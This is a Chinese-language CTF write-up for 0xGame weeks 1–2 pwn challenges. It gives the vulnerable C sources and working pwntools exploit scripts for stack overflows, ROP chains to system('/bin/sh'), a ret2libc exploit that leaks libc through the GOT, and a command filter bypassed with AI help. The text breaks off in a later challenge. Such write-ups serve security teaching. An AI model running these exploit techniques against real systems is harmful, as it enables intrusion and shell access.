,
安全技术CTF比赛

week1

简单数学题

题目

01的高数挂了 QwQ他被罚完成1000道数学题你能帮帮他吗

附件源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
\#include <stdio.h> 

\#include <stdlib.h> 

\#include <string.h> 

\#include <unistd.h> 

\#include <fcntl.h> 

\#include <sys/types.h> 

\#include <sys/ioctl.h> 

void* buf; 

void init() 

{ 

setvbuf(stdin, 0); 

setvbuf(stdout, 0); 

setvbuf(stderr, 0); 

} 

int get(int n,int m,int sym) 

{ 

memset(buf,0,0x100); 

switch(sym) 

{ 

case 0: 

sprintf(buf,"%d %s %d = ?\n",n,"+",m); 

return n+m; 

case 1: 

sprintf(buf,"%d %s %d = ?\n",n,"-",m); 

return n-m; 

case 2: 

sprintf(buf,"%d %s %d = ?\n",n,"x",m); 

return n*m; 

} 

} 

int main() 

{ 

init(); 

buf=(void *)malloc(0x100); 

srand(time(0)); 

int n,m,num,sym; 

puts("Are you good at math?"); 

puts("Kore wa shiren da!"); 

for(int i=0;i<1000;i++) 

{ 

n=rand()%1000; 

m=rand()%1000; 

sym=rand()%3; 

int ret=get(n,m,sym); 

printf(buf); 

scanf("%d",&num); 

if(num!=ret) 

exit(0); 

puts("Good work!"); 

} 

puts("Congratulations on completing the challenge"); 

system("/bin/sh"); 

return 0; 

}

1

根据题目要求需要进行上千次解题才能得到flag

分析源码发现他通过srand(time(0))随机初始计算值，随着mn值的不同进行对应的循环运算，最终无法人为进行运算

通过ai分析解出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.log_level='debug'
io=remote("nc1.ctfplus.cn",22605)
io.recvuntil(b"Kore wa shiren da!\n")
for i in range(1000):
t=io.recvuntil(b"?")[:-3]
if b"x" in t:
t=t.decode()
t = t.replace("x", "*", 1)
t=t.encode()
num=eval(t)
io.sendline(str(num).encode())
io.recvline()
io.recvline()
io.interactive()

经过一段时间计算得到了shell得到flag0xGame{7h3_m4573r_0f_m47h!!!}

image

stack overflow

最最最简单的栈溢出玩的开心 :)

image2

用checksec分析得到附件64位

ida分析image3

官方源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <unistd.h> 
#include <fcntl.h> 
#include <sys/types.h> 
#include <sys/ioctl.h> 
void backdoor() 
{ 
system("echo \"Isn't here...\""); 
exit(0); 
} 
void whhhat() 
{ 
printf("good work!\n"); 
execve("/bin/sh",0,0); 
} 
int main() 
{ 
setvbuf(stdout, NULL, _IONBF, 0); 
setvbuf(stdin, NULL, _IONBF, 0); 
setvbuf(stderr, NULL, _IONBF, 0); 
char ss[0x30]; 
puts("Just say something..."); 
read(0,ss,0x100); 
return 0; 
}

用ida分析源码得到返回目标函数为whhat内部存在execve函数调用系统程序获取shellimage4

image5

根据提示得到栈溢出，注意到数组ss长度为30个字节，但是read函数读取了100个字节，因此我们可以构造payload=b’a*38+p64（目标函数地址）

填充为什么是38字节是因为目标程序为64位，每个寄存器占八位，要覆盖到目标地址就必须把缓冲区之后的指针rsp一起覆盖所以是38字节

根据ida分析得到目标地址为0x4011F7 

1
2
3
4
5
6
from pwn import *
io=remote("nc1.ctfplus.cn",17151)
#io=process('./pwn')
payload=b'a'*0x38+p64(0x4011F7)
io.send(payload)
io.interactive()

得到flag=0xGame{W0w_y0u_kn0w_h0w_t0_h1j@ck_3x3cut10n_fl0w}

image6

命令执行🤔

01送了你一个rce,但过滤了sh和cat你有什么办法获取flag吗

根据题目提示我们获取flag时不用sh和cat

image7

用ai生成绕过指令尝试了几次后发现.txt纯多余

image8

0xGame{y0u_c4n_4ls0_3x3cu73_c0mm4nd_w17h0u7_5h_4nd_c47}

test_your_nc

必玩项目

直接nc上去cat就行

image9

rop1

ROP1

什么是ROP🤔?你在之前已经学会如何控制执行流到目标地址了现在01将system与参数分离你还能rce吗

根据题目提示可以推断system函数与/bin/sh分离

查看程序位数为64位

image10

ida反编译可以找到调用system函数地址为0x401195

image11

image12

在ida中没有找到直接的sh但是发现了提供的字符串echo maybe。。。。

通过计算可以知道sh从0x402004中开始计算地址从0x40201e

image13

payload构造手法=b’a*(0x20+0x08)+rdi_adress+sh_add+system_add

先放参数后放地址的原因：

  • x86-64调用约定：参数通过寄存器传递（rdi存放第一个参数）

通过rdi作为命令载体，system是函数，sh是函数参数执行system（“/bin/sh”）

image14

image15

1
2
3
4
5
6
7
8
9
from pwn import *
#io=process('./pwn')
io=remote("127.0.0.1",2223)
system=p64(0x401195)
sh=p64(0x000000000040201e)
rdi=p64(0x000000000040117e)
payload=b'a'*0x28+rdi+sh+system
io.send(payload)
io.interactive()

rop2

看来你已经知道怎么控制参数除了sh,在unix/linux中还有一个神奇的参数也能达到rce的效果你能找到它吗?

先用checksec看位数

img

可以了解到溢出位是48加8=56字节

rdi地址为0x40119e

image17

image18

题目中暗示的神秘参数经过ai分析可以知道是￥ifs

image19

image20

参数 作用 利用价值
$0 当前程序名 ★★★★★ (SUID提权)
$@ 所有参数 ★★★☆☆ (可能用于参数注入)
$* 所有参数(作为一个单词) ★★★☆☆ (可能用于参数注入)
$$ 当前shell的PID ★★☆☆☆ (有限利用)
$! 最后后台进程的PID ★★☆☆☆ (有限利用)

使用gdb搜索￥0

image21

payload构造=b’a’*0x38+rdi_add+$0_add+sys_add

这里￥0的作用是获取终端等同于/bin/sh的作用，

from pwn import *

#io=process(‘./pwn’)

io=remote(“nc1.ctfplus.cn”,43728)

payload=b’a’*0x38+p64(0x40119E)+p64(0x401200+2)+p64(0x40122B)

#gdb.attach(io)

io.sendline(payload)

io.interactive()

image22

week2

ret2libc

题目中给出了libc连接器和libc库

通过touchelf –set-interperter ld-linux-x86-64.so.6 ./pwn

更改pwn文件的libc链接器，保持libc库文件和连接器在同一目录

用checksec发现文件为64位

在ida中可知缓冲区64位，溢出需要的字节数就是64＋8=72

image23

通过cyclic验证一遍通过观察程序崩溃时rsp的值，由于rsp储存八个字节所以只需要前八个字母jaaaaaaa，通过cyclic -l jaaaaaaa获取偏移量验证是72字节

image24

要找到可利用的函数system等可通过libc函数计算偏移量

第一步要泄露libc的基地址

ROPgadget –binary pwn | grep “pop rdi”

1
2
objdump -d pwn | grep -E "<vuln>|<main>"
objdump -d pwn | grep -E "puts@plt|read@plt"

我们可以得到rdi地址是0x40119e，vuln地址是0x4011ea

main函数地址是0x40112d，puts_plt = 0x401074

puts_got = 0x404018

image25

泄露libc地址的payload构造结构

1
2
3
4
5
payload1 = b'A' * 72  # 64字节buf + 8字节rbp
payload1 += p64(pop_rdi)
payload1 += p64(puts_got)
payload1 += p64(puts_plt)
payload1 += p64(vuln_addr)

payload泄露的原理是通过put函数读取plt表中libc的地址

在我们填充72字节溢出后栈的结构

1
2
3
4
5
6
7
[低地址]
AAAAAAAA... (72 bytes)   <- 缓冲区填充
pop_rdi地址               <- 覆盖的返回地址
puts_got地址
puts_plt地址  
vuln_addr地址
[高地址]

为什么返回地址要跳转到rdi：用于充当put函数参数的载体

为什么要有put_got表地址，作为全局偏移量表可以通过got表寻找put函数，并且由于alsr会随机libc中地址位置所以只能通过固定不变得got获取

为什么要有put_plt地址，plt地址作为过程连接表记录了程序运行时libc中函数的实际地址，是程序执行函数的入口能够找到puts函数在libc中的位置

最终通过puts函数在libc的偏移量反向推导libc的真实地址

第二步则是计算 libc 基址和其他函数地址

已知基地址等于真实地址减去偏移量，根据题目提供的libc库文件得到该版本中libc的偏移量

最后去找/bin/shell和system函数的地址

构造攻击payload结构

1
2
3
4
payload2 = b'A' * 72
payload2 += p64(pop_rdi)
payload2 += p64(binsh_addr)
payload2 += p64(system_addr)

libc函数计算公式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
libc_base = leaked_puts - puts_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
from pwn import *

# 设置目标程序
context.arch = 'amd64'
context.log_level = 'debug'

# 启动程序
p = remote('nc1.ctfplus.cn', 23370)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

# gadgets
pop_rdi = 0x40119E

# 获取关键函数地址
puts_plt = elf.plt['puts']  # 使用ELF对象获取更可靠
puts_got = elf.got['puts']
vuln_addr = elf.symbols['vuln']
offset = 72

# 第一次攻击：泄露libc地址
payload1 = b'A' * offset
payload1 += p64(pop_rdi)        # pop rdi; ret
payload1 += p64(puts_got)       # 参数：puts在GOT中的地址
payload1 += p64(puts_plt)       # 调用puts(puts_got)打印出puts的实际地址
payload1 += p64(vuln_addr)      # 返回到vuln函数，进行第二次溢出

p.recvuntil(b"Input something: ")
p.sendline(payload1)  # 使用sendline确保有换行符

# 接收泄露的地址
leak_data = p.recvline()[:-1]  # 去掉换行符
if len(leak_data) < 8:
    leak_data = leak_data.ljust(8, b'\x00')
leak_puts = u64(leak_data[:8].ljust(8, b'\x00'))
log.info(f"泄露的puts地址: {hex(leak_puts)}")

# 计算libc基址和其他函数地址
libc_base = leak_puts - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

log.info(f"libc基址: {hex(libc_base)}")
log.info(f"system地址: {hex(system_addr)}")
log.info(f"/bin/sh地址: {hex(binsh_addr)}")

# 第二次攻击：获取shell
payload2 = b'A' * offset
payload2 += p64(pop_rdi)        # pop rdi; ret  
payload2 += p64(binsh_addr)     # 参数：/bin/sh字符串地址
payload2 += p64(system_addr)    # 调用system("/bin/sh")

p.recvuntil(b"Input something: ")
p.sendline(payload2)

# 获取shell
p.interactive()

image26

使用pwntool获取函数地址

elf = ELF(‘./pwn’)

puts_plt = elf.plt[‘puts’]

vuln_addr = elf.symbols[‘vuln’]

植物大战僵尸

题目：01师傅学完c语言中的多线程后,兴致勃勃地想手写了个植物大战僵尸但是他写完管理界面后就懒得动了 XD在他写的demo里,管理员权限相关权鉴被他注释掉,他觉得这样就安全了

先用checksec查看发现保护机制全开

image27

根据题目猜测利用程序中

搜索文章

×